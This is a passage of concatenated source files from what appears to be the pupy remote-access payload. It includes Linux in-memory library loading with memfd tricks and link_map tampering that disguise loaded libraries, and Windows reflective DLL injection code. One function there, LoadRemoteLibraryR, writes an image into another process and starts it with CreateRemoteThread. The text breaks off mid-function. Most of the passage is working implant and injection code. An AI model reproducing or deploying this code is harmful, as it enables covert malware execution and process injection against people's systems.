unsigned int l_addr_end = 0; unsigned int l_size = 0; sscanf(addr1, "%x", &l_addr_start); sscanf(addr2, "%x", &l_addr_end); #else unsigned long long l_addr_start = 0; unsigned long long l_addr_end = 0; unsigned long long l_size = 0; sscanf(addr1, "%Lx", &l_addr_start); sscanf(addr2, "%Lx", &l_addr_end); #endif l_size = l_addr_end - l_addr_start; sscanf(inode, "%Lu", &l_inode); sscanf(dev, "%02x:%02x", &s_maj, &s_min); s_dev = (unsigned short) ((s_maj << 8 | s_min) & 0xFFFF); if (!(s_dev == dl_stat.st_dev && l_inode == dl_stat.st_ino)) continue; dprint("Remap %s - %p - %p (%s)\n", pathname, l_addr_start, l_addr_end, perm); int flags = 0; if (perm[0] == 'r') flags |= PROT_READ; if (perm[1] == 'w') flags |= PROT_WRITE; if (perm[2] == 'x') flags |= PROT_EXEC; void *new_map = MAP_FAILED; if (flags) { new_map = mmap( NULL, l_size, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 ); if (new_map == MAP_FAILED) { dprint("Remap %s - %p - %p (%s) - failed, new mmap: %m\n", pathname, l_addr_start, l_addr_end, perm); continue; } memcpy(new_map, (void *) l_addr_start, l_size); if (flags != (PROT_READ | PROT_WRITE)) if (mprotect(new_map, l_size, flags) != 0) { dprint("Remap %s - %p - %p (%s) - failed, mprotect: %m\n", pathname, l_addr_start, l_addr_end, perm); munmap(new_map, l_size); remapped = 0; continue; } if (___mremap( new_map, l_size, l_size, MREMAP_FIXED | MREMAP_MAYMOVE, (void *) l_addr_start) == MAP_FAILED) { dprint("Remap %s - %p - %p (%s) - failed, remap: %m\n", pathname, l_addr_start, l_addr_end, perm); munmap(new_map, l_size); remapped = -1; } } else { dprint("Remap %s - unmap %p - %p (%s) - not required\n", pathname, l_addr_start, l_addr_end, perm); munmap((void *) l_addr_start, l_size); remapped = 0; } } lbExit: dprint("Remap %s - completed\n", path); fclose(maps); return remapped; } #else int remap(const char *path) { return -1; } #endif #if defined(SunOS) // For some unknown reason malloc doesn't work on newly created LM in Solaris 10 // Fallback to old shitty way of loading libs // TODO: write own ELF loader void *_dlopen(int fd, const char *path, int flags, const char *soname) { void *handle = dlopen(path, flags | RTLD_PARENT | RTLD_GLOBAL); if (fd != -1) { unlink(path); close(fd); } return handle; } #elif defined(LM_ID_NEWLM) && defined(Linux) // Part of private link_map structure struct libname_list; struct libname_list { char *name; struct libname_list *next; int dont_free; }; struct link_map_private; /* Dangerous! Hacked link_map structure */ struct link_map_private { void *l_addr; char *l_name; void *l_ld; struct link_map_private *l_next, *l_prev; /* ------------- private part starts here ----------------- */ struct link_map_private *l_real; // dlmopen Lmid_t l_ns; // dlmopen struct libname_list *l_libname; // ancient /* ------------- .... and there much more ----------------- */ }; void *_dlopen(int fd, const char *path, int flags, const char *soname) { void *handle = NULL; #if defined(WIP_LMID) static Lmid_t lmid = LM_ID_BASE; static int need_lmid_checked = 0; if (!need_lmid_checked) { if (dlsym(NULL, "PyEval_InitThreads")) { lmid = LM_ID_NEWLM; dprint("Python library found, require LMID\n"); } else { dprint("Python library not found\n"); } need_lmid_checked = 1; } if (lmid != LM_ID_BASE) { flags &= ~RTLD_GLOBAL; if ((flags & RTLD_NOLOAD) && (lmid == LM_ID_NEWLM)) return NULL; dprint("dlmopen(%d, %s, %08x)\n", lmid, path, flags); handle = dlmopen(lmid, path, flags); dprint("dlmopen(%d, %s, %08x) = %p\n", lmid, path, flags, handle); if (lmid == LM_ID_NEWLM && handle) { dlinfo(handle, RTLD_DI_LMID, &lmid); dprint("memdlopen - dlmopen - new lmid created: %08x\n", lmid); } } else { handle = dlopen(path, flags); } #else static Lmid_t lmid = LM_ID_BASE; handle = dlopen(path, flags); #endif dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s); handle=%p\n", lmid, path, soname, handle); if (flags & RTLD_NOLOAD || !handle) { return handle; } bool is_memfd = is_memfd_path(path); bool linkmap_hacked = false; remap(path); if (soname) { struct link_map_private *linkmap = NULL; dlinfo(handle, RTLD_DI_LINKMAP, &linkmap); /* If memfd, then try to verify as best as possible that all that addresses are valid. If not - there is no reason to touch this */ if (is_memfd) { if (linkmap && linkmap->l_ns == lmid && linkmap->l_libname && linkmap->l_libname->name && !strncmp(linkmap->l_name, linkmap->l_libname->name, strlen(linkmap->l_name))) { dprint("memdlopen - change l_name %s|%p (%s|%p) -> %s (linkmap: %p)\n", linkmap->l_name, linkmap->l_name, linkmap->l_libname->name, linkmap->l_libname->name, soname, linkmap); /* Do not care about leaks. It's not the worst thing to happen */ linkmap->l_name = strdup(soname); linkmap->l_libname->name = strdup(soname); linkmap_hacked = true; } else { dprint("memdlopen - bad signature (lmid=%08x name1=%s name2=%s)\n", linkmap->l_ns, linkmap->l_name, linkmap->l_libname->name); } } if (!is_memfd || linkmap_hacked) { /* If linkmap altered or it's not memfd, then delete/close path/fd */ if (!is_memfd) unlink(path); close(fd); } } return handle; } #else /* Linux x86 or any other thing */ void *_dlopen(int fd, const char *path, int flags, const char *soname) { /* Try to fallback to symlink hack */ bool is_memfd = is_memfd_path(path); char fake_path[PATH_MAX] = {}; const char *effective_path = path; static const char DROP_PATH[] = "/dev/shm/memfd:"; if (is_memfd) { int i; snprintf(fake_path, sizeof(fake_path), "%s%s", DROP_PATH, soname); for (i=sizeof(DROP_PATH)-1; fake_path[i]; i++) if (fake_path[i] == '/') fake_path[i] = '!'; if (symlink(path, fake_path) == 0) { effective_path = fake_path; is_memfd = false; } else { dprint("symlink error %s -> %s: %m\n", path, fake_path); } } void *handle = dlopen(effective_path, flags); remap(effective_path); if (fd != -1) { unlink(effective_path); /* If all workarounds failed we have nothing to do but leave this as is*/ if (!is_memfd) close(fd); } return handle; } #endif // https://github.com/ouadev/proc_maps_parser/blob/master/pmparser.c void _pmparser_split_line( char *buf, char *addr1, char *addr2, char *perm, char *offset, char *device, char *inode, char *pathname) { int orig=0; int i=0; while (buf[i] != '-') { addr1[i-orig] = buf[i]; i++; } addr1[i] = '\0'; i++; orig = i; while (buf[i] != '\t' && buf[i] != ' ') { addr2[i-orig] = buf[i]; i++; } addr2[i-orig] = '\0'; while (buf[i]=='\t' || buf[i]==' ') i++; orig = i; while (buf[i]!='\t' && buf[i]!=' ') { perm[i-orig] = buf[i]; i++; } perm[i-orig] = '\0'; while (buf[i] == '\t' || buf[i] == ' ') i++; orig = i; while (buf[i] != '\t' && buf[i] != ' ') { offset[i-orig]=buf[i]; i++; } offset[i-orig] = '\0'; while (buf[i] == '\t' || buf[i] == ' ') i++; orig = i; while (buf[i] != '\t' && buf[i] != ' ') { device[i-orig] = buf[i]; i++; } device[i-orig]='\0'; //inode while (buf[i] == '\t' || buf[i] == ' ') i++; orig=i; while (buf[i] != '\t' && buf[i] != ' ') { inode[i-orig] = buf[i]; i++; } inode[i-orig] = '\0'; //pathname pathname[0] = '\0'; while (buf[i] == '\t' || buf[i] == ' ') i++; orig = i; while (buf[i] != '\t' && buf[i] != ' ' && buf[i] != '\n') { pathname[i-orig] = buf[i]; i++; } pathname[i-orig] = '\0'; } void *memdlopen(const char *soname, const char *buffer, size_t size, int flags) { dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size); void *base = _dlopen(-1, soname, RTLD_NOLOAD, NULL); if (base) { dprint("Library \"%s\" loaded from OS\n", soname); return base; } char buf[PATH_MAX]={}; #if defined(DEBUG) || defined(SunOS) if (soname) strncpy(buf, soname, sizeof(buf)-1); #endif int fd = drop_library(buf, sizeof(buf)-1, buffer, size); if (fd < 0) { dprint("Couldn't drop library %s: %m\n", soname); return NULL; } dprint("dlopen(%s, %08x)\n", buf, flags); base = _dlopen(fd, buf, flags, soname); dprint("dlopen(%s, %08x) = %p\n", buf, flags, base); if (!base) { dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror()); return NULL; } remap(base); dprint("Library %s loaded to %p\n", soname, base); return base; } ================================================ FILE: client/sources-linux-py3/tmplibrary.h ================================================ #ifndef TMPLIBRARY_H #define TMPLIBRARY_H #define _GNU_SOURCE #include #include #include #include #ifndef RTLD_DI_LINKMAP #define RTLD_DI_LINKMAP 2 #endif int _dlinfo(void *handle, int request, void *info); void *_dlopen(int fd, const char *path, int flags, const char *soname); void *memdlopen(const char *soname, const char *buffer, size_t size, int flags); int drop_library(char *path, size_t path_size, const char *buffer, size_t size); pid_t memexec(const char *buffer, size_t size, const char *const* argv, int stdior[3], bool redirected_stdio, bool detach); int remap(const char *path); #endif /* TMPLIBRARY_H */ ================================================ FILE: client/sources-windows-py3/.gitignore ================================================ import-tab.c import-tab.h resources revision.h ================================================ FILE: client/sources-windows-py3/GetProcAddressR.c ================================================ //===============================================================================================// // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "GetProcAddressR.h" //===============================================================================================// // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which // wont be able to resolve exported addresses in reflectivly loaded librarys. FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) { UINT_PTR uiLibraryAddress = 0; FARPROC fpResult = NULL; if( hModule == NULL ) return NULL; // a module handle is really its base address uiLibraryAddress = (UINT_PTR)hModule; __try { UINT_PTR uiAddressArray = 0; UINT_PTR uiNameArray = 0; UINT_PTR uiNameOrdinals = 0; PIMAGE_NT_HEADERS pNtHeaders = NULL; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; // get the VA of the modules NT Header pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); // get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); // get the VA for the array of name pointers uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); // test if we are importing by name or by ordinal... if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) { // import by ordinal... // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); // resolve the address for this imported function fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // import by name... DWORD dwCounter = pExportDirectory->NumberOfNames; while( dwCounter-- ) { char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); // test if we have a match... if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) { // use the functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // calculate the virtual address for the function fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); // finish... break; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } } __except( EXCEPTION_EXECUTE_HANDLER ) { fpResult = NULL; } return fpResult; } //===============================================================================================// ================================================ FILE: client/sources-windows-py3/GetProcAddressR.h ================================================ //===============================================================================================// // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H //===============================================================================================// #include "ReflectiveDLLInjection.h" FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); //===============================================================================================// #endif //===============================================================================================// ================================================ FILE: client/sources-windows-py3/LICENSES.txt ================================================ The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses. All the files not from one of these projects is under pupy's license (BSD 3-Clause license) These projects include : ---------------------------------------------------------------------------------- -py2exe : under MIT License (http://sourceforge.net/projects/py2exe/) Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ---------------------------------------------------------------------------------- -ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Harmony Security nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------------------- -meterpreter (3-clause BSD license) Meterpreter is available for use under the following license, commonly known as the 3-clause (or "modified") BSD license: ========================================================================================= Meterpreter ----------- Copyright (c) 2006-2013, Rapid7 Inc Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: client/sources-windows-py3/LoadLibraryR.c ================================================ //===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "LoadLibraryR.h" #include "ReflectiveLoader.h" #include //===============================================================================================// DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 ) { WORD wIndex = 0; PIMAGE_SECTION_HEADER pSectionHeader = NULL; PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; if (is64) { pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader); if( dwRva < pSectionHeader[0].PointerToRawData ) return dwRva; for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ ) { if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); } } else { pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader); if( dwRva < pSectionHeader[0].PointerToRawData ) return dwRva; for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ ) { if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); } } return 0; } //===============================================================================================// DWORD GetReflectiveLoaderOffset( const VOID * lpReflectiveDllBuffer ) { UINT_PTR uiBaseAddress = 0; UINT_PTR uiExportDir = 0; UINT_PTR uiNameArray = 0; UINT_PTR uiAddressArray = 0; UINT_PTR uiNameOrdinals = 0; DWORD dwCounter = 0; BOOL is64 = 0; DWORD dwIdx = 0; DWORD dwReflectiveLoaderSymHashes[] = { symhash(REFLECTIVE_LOADER_SYMNAME), 0x994d06f3, // ReflectiveLoader 0x6249c9c2, // Loader 0xda5392de // RLEp }; DWORD dwSymHashesCnt = sizeof(dwReflectiveLoaderSymHashes) / sizeof(dwReflectiveLoaderSymHashes[0]); uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; // get the File Offset of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // process a PE file based on its architecture if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 { is64 = FALSE; // uiNameArray = the address of the modules export directory entry uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; } else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 { is64 = TRUE; // uiNameArray = the address of the modules export directory entry uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; } else { return 0; } // get the File Offset of the export directory uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 ); // get the File Offset for the array of name pointers uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 ); // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); // get the File Offset for the array of name ordinals uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 ); // get a counter for the number of exported functions... dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; // loop through all the exported functions to find the ReflectiveLoader while( dwCounter-- ) { char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 )); DWORD dwHash = symhash(cpExportedFunctionName); for (dwIdx=0; dwIdx < dwSymHashesCnt; dwIdx ++) { if (dwReflectiveLoaderSymHashes[dwIdx] != dwHash) continue; // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); // use the functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // return the File Offset to the ReflectiveLoader() functions code... return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 ); } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } return 0; } #ifdef USE_LOCAL_LOADLIBRARY //===============================================================================================// // Loads a DLL image from memory via its exported ReflectiveLoader function HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) { HMODULE hResult = NULL; DWORD dwReflectiveLoaderOffset = 0; DWORD dwOldProtect1 = 0; DWORD dwOldProtect2 = 0; REFLECTIVELOADER pReflectiveLoader = NULL; DLLMAIN pDllMain = NULL; if( lpBuffer == NULL || dwLength == 0 ) return NULL; __try { // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( dwReflectiveLoaderOffset != 0 ) { pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) { // call the librarys ReflectiveLoader... pDllMain = (DLLMAIN)pReflectiveLoader(lpParameter); if( pDllMain != NULL ) { // call the loaded librarys DllMain to get its HMODULE if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) hResult = NULL; } // revert to the previous protection flags... VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); } } } __except( EXCEPTION_EXECUTE_HANDLER ) { hResult = NULL; } return hResult; } #else //===============================================================================================// // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // defined in order to use the correct RDI prototypes. // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. // Note: This function currently cant inject accross architectures, but only to architectures which are the // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) { BOOL bSuccess = FALSE; LPVOID lpRemoteLibraryBuffer = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread = NULL; DWORD dwReflectiveLoaderOffset = 0; DWORD dwThreadId = 0; __try { do { if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RW) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // change the permissions to (RX) to bypass W^X protections if (!VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, NULL)) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return 